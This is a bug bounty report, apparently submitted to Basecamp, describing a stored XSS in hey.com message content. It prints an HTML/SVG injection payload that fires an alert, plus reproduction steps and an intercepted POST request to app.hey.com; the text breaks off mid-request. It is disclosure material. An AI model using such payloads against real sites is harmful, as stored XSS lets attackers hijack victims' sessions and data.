Basecamp: stored XSS in hey.com message content

Hi I found a stored xss using message[content] parameter when forwarding an email or saving it as draft , and when the victim click on the email to view it, it gets executed . I used this payload as the message content : ```` From: "f" []@hey.com To: [email protected] Message-ID: [email protected] Subject: Mime-Version: 1.0 </style> </div> <svg><![CDATA[><table background="]])><img src=xx:x onerror=alert(2)//"></svg> <li style=onesr: src= cxxc=></li> style> ><image xlink: src=" ``` Note: i submitted this stored xss without the CSP bypass just to try not to get a duplicate , i will try to bypass the CSP and let you know. Steps To Reproduce: 1- make two accounts and login to the first one 2- go to any email and forward it to the second email account and intercept the request and change it like this: ``` POST /messages HTTP/1.1 Host: app.hey.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html; page-update, text/html, application/xhtml+xml Accept-Language: ar,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://app.hey.com/entries/[]/forwards/new X-CSRF-Token: [] Content-Type: multipart/form-data; boundary=---------------------------392581797716153644644274802600 Origin: https://app.hey.com Content-Length: 1156 DNT: 1 Connection: close -----------------------------392581797716153644644274802600 Content-Disposition: form-data;...